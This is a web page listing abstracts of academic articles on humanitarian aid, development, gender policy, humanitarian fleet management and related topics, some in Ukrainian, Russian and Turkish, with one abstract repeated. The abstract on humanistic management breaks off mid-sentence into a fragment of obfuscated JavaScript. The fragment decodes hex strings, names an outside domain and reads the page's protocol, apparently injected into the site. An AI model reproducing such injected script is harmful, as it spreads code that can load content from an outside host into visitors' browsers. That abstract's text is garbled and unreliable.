Humanitarian Development Research Articles

The Commitment to Disaster Risk Reduction as a Bridge between Humanitarian Aid and Sustainable Development

The Commitment to Disaster Risk Reduction as a Bridge between Humanitarian Aid and Sustainable Development

The “How” Matters as Much as the “Who”

It appears that although Gloss, Carr, Reichman, Abdul-Nasiru, and Oestereich (2017) have considered many of the arenas where industrial and organizational (I-O) psychology intersects with impoverished or atypical populations, an oft-overlooked domain is that of I-O psychologists working in military settings. Arguably the largest humanitarian aid and development organization in the world, national militaries offer a rich opportunity for I-O psychologists to study not only the more “POSH” aspects of work, but also the difficulties surrounding employees who must address impoverished citizens, lack of resources, bureaucracy far removed from the front lines, discrimination, threats to safety, and all kinds of cross-cultural interactions. As such, this humanistic, humanitarian movement could do well from studying the ways military units have successfully and not-so-successfully approached a timely and difficult subject.

Gender priorities in the structure of the humanitarian component of the society development

In this article the author investigates the main aspects of the society humanitarian development through the prism of gender priorities. On the legislative basis of the United Nations Organization, UNESCO and EU the formation of the gender culture on the international level is interpreted. The author also pays attention to the international institution’s activity in gender problems and points out the importance of taking into consideration the world society background in this field to be used on the national level.
 Analyzing the Ukrainian normative and legislative basis in the mentioned problem the peculiarity of the gender steps used in education, science and culture are shown. It is proved that the ways of state gender policy functioned in Ukraine are not always supported by state structures. Structures that haven’t made their own mechanisms of gender policy realization yet, especially in the humanitarian sphere. Moreover, the gender policy model needs more thorough working-out taking into consideration both international experience and national identity in social and economical, society and political and cultural development of the state and its citizens.
 Having defined the gender stereotypes as the social norms it is proved that their spreading is a “setback” on the way of social request for gender policy formation. The steps that show the gender equality and the extension of women rights and possibilities in different spheres, first of all in the humanitarian one, are challenged with their misunderstanding both by people that might realize mentioned steps and the society in particular.
 Keywords: Gender priorities, humanitarian sphere, European Union (EU), UNESCO, UNO, Ukraine, gender stereotypes

A Policy for Managing Operational Assets to Minimize Deprivation Costs (WITHDRAWN)

Every year, humanitarian organizations assign a sizable slice of their limited financial resources to procure, operate and maintain operational assets, without which service delivery would be impossible. In this paper, using vehicles as representative of operational assets, we identify policies for sizing and allocating operational capacity to minimize deprivation costs in a humanitarian development context. In the first stage, we develop a stochastic dynamic programming model and show that it is too complex to be solved for medium- and large-size problems. Then, we develop an efficient heuristic policy that considers the interaction of asset purchasing and operating decisions when budget is uncertain. Based on a data set provided by a large international organization, we estimate the parameters of our model to run numerical experiments. Results demonstrate the following: (i) although budget uncertainty increases the deprivation costs and decreases capacity utilization, but its negative impact is mitigate...

From humanitarian action to development aid in northern Uganda and the formation of a humanitarian-development nexus

ABSTRACTThe instituted order of humanitarianism is both changing and challenged. This article addresses the transition between humanitarian action and development aid in northern Uganda, which was driven by the government’s ambition to reassert its humanitarian sovereignty by discursively recasting the situation from one of crisis to one of recovery and development, regardless of the persistent humanitarian needs. In response, humanitarian actors either withdrew or moved into development aid. This bourgeoning humanitarian–development nexus questions the nature and future of humanitarianism and whether there is a hierarchy – or contradiction – between the humanitarian mandate and pragmatic approaches to save lives and protect civilians.

A Policy for Managing Operational Assets to Minimize Deprivation Costs

Every year, humanitarian organizations assign a sizable slice of their limited financial resources to procure, operate and maintain operational assets, without which service delivery would be impossible. In this paper, using vehicles as representative of operational assets, we identify policies for sizing and allocating operational capacity to minimize deprivation costs in a humanitarian development context. In the first stage, we develop a stochastic dynamic programming model and show that it is too complex to be solved for medium- and large-size problems. Then, we develop an efficient heuristic policy that considers the interaction of asset purchasing and operating decisions when budget is uncertain. Based on a data set provided by a large international organization, we estimate the parameters of our model to run numerical experiments. Results demonstrate the following: (i) although budget uncertainty increases the deprivation costs and decreases capacity utilization, but its negative impact is mitigated if budget saving between periods is allowed; (ii) a policy to minimize deprivation costs over time may avoid using all available assets in all the periods; (iii) in situations where the differences of criticality of missions are large, both deprivation costs and fleet utilization decrease; and (iv) in most situations, a centralized asset procurement model outperforms a decentralized model in minimizing deprivation costs.

Sustainable development of education: mutual links of technology and pedagogy

The purpose of the paper is to compare the development trends of information and communication environment, the global educational space and pedagogical ideas, which directly or indirectly affect the application of ICT in education. The study has been based on the foresight results and the content of the Internet publications on the prospects for sustainable development of education in the context of UNESCO Incheon Declaration for Education 2030. The content analysis of pedagogical publications has demonstrated that the current understanding of knowledge appeals to its socialization and dissemination in the global network environment, whose technological basis is rapidly growing. The educational process in the Learning Society is regarded as a distributed one among some formal education establishments (“universities of the world for one”) and the community of content curators. The function of content curators is to deliver comments, generalize and promote new information that supports learning needs of different global network users. The relation model of the subjects of the informational and educational space has been described. The model includes lecturers and learners as well as the content curators. The necessity of humanitarian potential development in the informational and communicational environment has been argued as well as the development of a creative class of people who share their existential experience, knowledge and wisdom. The development of every society member in the robot-based artificial intelligence environment has been considered to be defective without any interpersonal interaction and learners’ activity in the online community. Thus, the psychological and pedagogical theories of connectionism, social learning, multiple intelligences, and some others are to be recognized in the development of hardware and software base for education technologies.

ОСНОВНІ НАПРЯМИ СОЦІАЛЬНО-ЕКОНОМІЧНОГО РОЗВИТКУ УКРАЇНИ ТА ШЛЯХИ ПОДОЛАННЯ ЕКОНОМІЧНОЇ КРИЗИ

The article identifies the prerequisites, features and highlights the problematic aspects of socio-economic development of Ukraine, conducted a systematic analysis. The necessity of state regulation of transformation processes in the sphere of economy in the conditions of economic crisis is substantiated. It is noted that the protracted economic crisis in the country indicates the dominance of economic problems over many political problems, as well as their simultaneous interconnection and destructive impact on the restorative proportions between production and consumption. Among the many influential factors on the construction of a modern socio-economic system of investment, institutional factors, cluster associations and the development of information systems as complex polysystemic socio-economic entities. It is theoretically substantiated that clusters can be considered a new type of production and economic model, built on the interaction and cooperation of industrial, commercial enterprises, financial and credit and educational and scientific institutions. It is determined that in recent decades, many countries around the world are developing cluster strategies aimed at integrating financial and intellectual capital and realizing the competitive advantages of the national economy. The importance of transformations in the cultural and ideological sphere, which involve changes in the values of public consciousness, the formation of a new paradigm of humanitarian development, which is to abandon the ideology of consumption and affirm new values to balance production and demand. Public policy instruments should be aimed at removing obstacles to the formation of clusters, improving infrastructure, simplifying the mechanism for attracting sources of funding and foreign investment, and removing restrictions on the introduction of innovations. It is a comprehensive approach to solving the problems outlined at the state level that will be the key to successful modernization of Ukraine's economy and building its own model of economic growth. The key areas for improving the efficiency of management of socioeconomic processes in Ukraine, which will ensure the implementation of the model of stabilization and economic growth of the country in the near future.

Методические ресурсы художественного кинематографа в контексте преподавания гуманитарных дисциплин в современной высшей школе

The article settles the task of the research and testing of new effective forms of development of humanitarian knowledge. Such cinema technologies are the film seminar, interactive lectures, video seminars, prepared discus- sion on the film, etc. Authors analyze humanitarian and moral sphere of man and society through analysis of cultural and moral determinants, reflected in the works of cinema. The relevance of the article is determined with the obvious crisis of the institutional forms which still develop the fundamental cultural and philosophical education, and which leads to the obsolescence of the translation forms of generalized knowledge. The authors believe that the intensification of the modernization process of the forms of humanitarian knowledge development will contribute to more efficient formation of common cultural and professional competences of future specialists. Outdated knowledge paradigm is supplanted by a system of methods of students’ creative abilities activation. In the broad context of culture visualization the perception of the thematic blocks of the various Humanities disciplines through active viewing and interpretation of movie passes effectively. Film seminar provides an opportunity to convey educational material in the form of an artistic image; to see the diversity of social and cultural explication of the ideas and values of modernity. The Central concept of the article is built around the creation of new forms of presentation of the lecture material and practical training, which must be problematic and must have the search character to develop the students’ mental activity, to form their cultural competence. The aim of the article is to study and disclosure of the volume meaning and the functional versatility of the cinematic image in the context of the development of the content of the Humanities in higher education. Scientific novelty of the article is opened in the integrative nature of the study. Simultaneously the authors consider, classify, and formulate in the form of methodical recommen- dations: 1) the variety of interpretive practices in the process of understanding the film text; 2) the ability of the cinematic image to accumulate and transmit knowledge about culture, society and man; 3) specific procedures for mastering humanitarian knowledge in the context of global imaging culture.

International faith-based organizations: An organizational analysis of Latter-day Saint Charities

ABSTRACTThis organizational analysis of The Church of Jesus Christ of Latter-day Saints’ faith-based organization, Latter-day Saint Charities, adds to the knowledge base regarding international faith-based organizations and their delivery of humanitarian and international development assistance. Qualitative data gathered from interviews with key headquarters staff describe LDS Charities’ organizational structure, guiding philosophies, and service delivery system. The role of social work strategies within faith-based international organizations as well as practice implications are discussed.

The formation of the concept of humanistic management and its impact on human development in the conditions of globalization and european integration

Analyzes the concept of humanistic management, disclosed its problems and on this basis developed ways and directions of increase of efficiency of humanistic management. Humanistic management is a new type of management activity, which should be aimed at solving the problems of socioantropologicnogo nature. Developed a new management paradigm of humanistic management, which includes the principles of humanism and ludinocentrizmu and is formed on the basis of science, culture, education and new management technologies. The concept of humanistic management is defined as a new type of management of public activities aimed at achieving the goals of humanitarian development by means of humanism. The concept of humanistic management as mul′tiparadigmal′na the scope of knowledge is defined by various factors – economic, political, social, cultural. Concluded. that the concept of humanistic management based on antropoloigcnih principles that represent a set of ideas of humanism, which conducive to human development// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return vestnikzgia.com.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e

Transformational development in a changing context: A Latin American perspective

This article analyses the challenges for the strategies and practices of transformational development in a changing context. This reflection is based on contributions received during the process of dialogues and regional consultations, realised from August 2012 until March 2014, of the ACT Alliance, an international coalition of churches and faith-based organisations (FBOs) working in the areas of humanitarian response, development and advocacy. The main processes that affect the changing development context are addressed, such as the ongoing globalisation as well as the consequences, mainly regarding the shrinking space for civil society. It discusses the concepts of human development and of transformational development, based on a people-centred development vision, a human rights-based approach and advocacy, which addresses the root causes and effects of poverty, inequality and injustice. Transformational development practices, from Latin America, are presented and analysed. The article concludes that the changing development context also offers opportunities, especially regarding regional and global alliances of FBOs, civil society organisations and of social movements.

Fleet management policies for humanitarian organizations: Beyond the utilization–residual value trade-off

Four-wheel drive vehicles play a pivotal role in securing the last-mile distribution of goods and services in humanitarian development programs. To optimize the use of their fleets, humanitarian organizations recommend policies aimed at enhancing the utilization of vehicles while preserving residual value. Although these decisions have a significant impact on cost, there is limited empirical evidence to show that the recommended policies are actually implemented and that they produce the expected benefits. This paper theoretically and empirically examines the complex and inter-related effects of vehicle-to-mission allocation decisions and of alternative vehicle usage patterns on vehicle utilization and residual value in humanitarian development programs. The results suggest that humanitarian organizations could break the utilization–residual value trade-off by adopting different policies than the ones currently in place. They also reveal that organizations need to realize that what seems logical from the headquarters' perspective may be illogical or inconvenient for the field, and as a result, the field may do the opposite of what is recommended or even instructed. Therefore, they either need better data and analysis combined with audits or they need to improve mechanisms that incentivize field delegations to follow standards recommended by the headquarters.

Addressing urban crises: Bridging the humanitarian–development divide

AbstractThe world is urbanizing rapidly. Demographic shifts are intersecting with the impacts of climate change, conflict and displacement. In many parts of the world, chronic stresses mean that large proportions of the urban population are already vulnerable. Rapid and poorly planned urbanization is not just an issue for governments and development specialists; humanitarian actors must also increase their understanding of and ability to operate within towns and cities at risk of crises. Their current approaches do not always adequately reflect and work with the reality of urban populations and the systems that support urban life. This means that humanitarian interventions may not contribute to sustainable urban development and the well-being of town and city dwellers in the longer term. This article argues that greater collaboration between humanitarian responders, municipal actors, development specialists and professional associations could lead to better outcomes for crisis-affected populations in both the short and long term.

Securitising humanitarian assistance and post-conflict reconstruction in Africa: A critical review of South Africa's new defence policy

ABSTRACTThe South African Defence Review 2014 is the country's new defence policy. The Review, which is expected to steer South African defence policymaking for the next few decades, discusses in detail the role of the South African National Defence Force (SANDF) in peace missions in Africa and proposes the direct involvement of the country's soldiers in both military and civilian tasks, from peacekeeping to humanitarian assistance, post-conflict reconstruction and development. This paper contains a critical review of the Review with regard to South Africa's envisaged contribution to regional and continental peace and stability. It is argued that humanitarian assistance and post-conflict reconstruction should not be securitised and that the SANDF should only be tasked with peacekeeping and the establishment of stability and security in fragile in-conflict and post-conflict settings. The humanitarian work should be left to humanitarian and aid agencies, while reconstruction and development should be left to organisations such as the New Partnership for Africa's Development, continental and international development organisations, and local actors.

TOURISM POTENTIAL OF UKRAINE: STATE AND PROSPECTS OF STRATEGIC CONSERVATION

There are some outlines strategic directions of development of tourism in Ukraine. The modern trend of strategic tourism is invastigated. An dynamic tourism flows for 2000 - 2015 gg., based on pie charts which are presented in proportion of entry of exit tourists. Due to circular diagrams shows that the territory of Ukraine is invastigated by the number of tourists visiting Lviv region; there is a large share of domestic tourists in Ivano-Frankivsk, Khmelnytsky, Zaporizhia, Odesa. Generalized approaches to the definition of “sustainable development”, “Development Strategy”. The experience of Germany, France, Norway, in the preservation and restoration of tourism resources. The experience of these countries, according to the author, should serve as an example of proper preservation of cultural heritage and our Ukraine. The analysis is reported by the government bill on the State Fund for humanitarian development of Ukraine. The author draws attention to the modern scientific and technological achievements that can make a significant contribution to preserve tourism resources, in particular, such as the drone. The article states that the preservation of monuments, important to have a precise picture of the object, but by photographing drone can create an accurate 3 D model of the object or area in general. Also the strategic priorities of the tourism industry. Key words: strategic direction; sustainable development; tourism industry; rational use of tourist resources. Софія Білоус ISSN 2078-4333. Вісник львівського університету. Серія міжнародні відносини. 2016. Випуск 40

Corruption as a Problem of Political Theory and Political Practice

The present article is dedicated to the analysis of "corruption" from point of view of political practice and political theory. The present article studies historical examples of corruption: corruption during the era of Alexander the Great, Carthage, Roman Republic. The article gives the evolution of the term "corruption", pointing out current aspects of the term. The article provides positive and negative results of corruption, gives resume. The present article analyses corruption results: economical, political and social. Most important economical consequences of corruption are the following: increase of shadow economy, decrease of tax payments, weakening of the state budget, breach of market competition, decrease of market effectiveness, destabilization of the idea of market economy. Most important social consequences of corruption are the following: great distinction between the declared and real values, which creates a "double standard" of the moral and behavior, distraction of great sums from public and humanitarian development, increase of property disproportion, increase of social tension. The present article names most important political consequences of corruption: shift of ideas from public development to the security of power of oligarchy, decrease of trust to the state, decrease of image of the country at the international arena, increase of its economical and political isolation, decrease of political competition. The present article gives one of the resumes that the globalization process increases corruption. Together with globalization most important role is given to corporations and corporate corruption comes to the front raw.

The Rights-Based Approach to Disaster Relief

Written in the wake of the Haiti 2010 earthquake, this overview of the rights-based approach (RBA) to disaster aid relief explains what an RBA means in practice. Specifically, this overview identifies specific best practices in implementing an RBA and describes cases studies and specific examples that demonstrate how the RBA produces more complete emergency assistance, helps bridge the gap between humanitarian assistance and development, and leads to more effective development outcomes.

Development Process Resilience and Sustainable Development: Insights from the Drylands of Eastern Africa

Recently, the development and humanitarian relief communities have directed attention to building resilience of pastoral communities to droughts and other shocks. While resilience thinking has much to offer, using resilience as a framework for investing in disaster risk reduction and development faces numerous challenges. Development implies that people are actively changing, which poses the question of whether such changes are adaptations or transformations, or whether this is a subjective or academic distinction. The lack of clarity presents a challenge for monitoring resilience-building investments, yet such investments require indicators of impact. We argue that resilience of the system per se is not the primary goal of development and may sometimes be an impediment. We propose an alternative approach to conceptualizing resilience that more accurately reflects the concerns of the humanitarian relief and development communities, one that is based on monitoring resilience of the development process, rather than resilience of a given system.

ALMANYA'DAKİ TÜRKLERİN KÜLTÜREL KİMLİĞİ

Culture is a process and action of formation engendered by the contribution of the synthesis of accomplishments and accumulations called "self' and "other". In this approach, culture is an expression of "local" and "universal" coming together and gaining a new content and form. The Turkish community in Germany is developing its identity in a "multi- factored, multi-layered and multi-directional" environment. Multi- culturality and alienship, in/exclusion and integration efforts for humanitarian reasons accompany the development process of cultural identity. Individual and societal identity get evident under the effect of the said factors that together condition the life. Besides exclusion, the tendencies of integration and of maintaining the difference are among the typical qualities of cultural identity. Thus, establishment o f a social environment that promotes the formation of a harmonious conscious on the basis offairness and participation, as well as pursuing a lifestyle by the both sides required by such a conscious are consequential. The humanitarian development of the cultural identity in multi-cultural life environments is mainly possible with members' avoidance from exalting "national origin, religion or sect" that they take as "self'. In this context, staying away from ethno-centric understandings and attitudes is one of the assurances of a peaceful and humanitarian coexistence. To promote such a humanitarian coexistence, some legislative regulations should be materialized and implemented by the German government like making dual citizenship possible or prevention of discrimination. Turks shouldfollow the same route. The Turkish community which has gained even more permanency in Germany is experiencing a social and educational differentiation within itself. This situation has its direct repercussions on the cultural identity. Besides this, contribution to scientific and artistic activities is on increase, and philosophical dimension is becoming more manifest. Under the light of the developments in question, Turks are becoming not a "cultural minority" but an inseparable component of the German society. Germans and Turks should develop a "common life design" taking the requirements of these realities and ofdemocratic social order into consideration, and activate it in cultural, political and social life.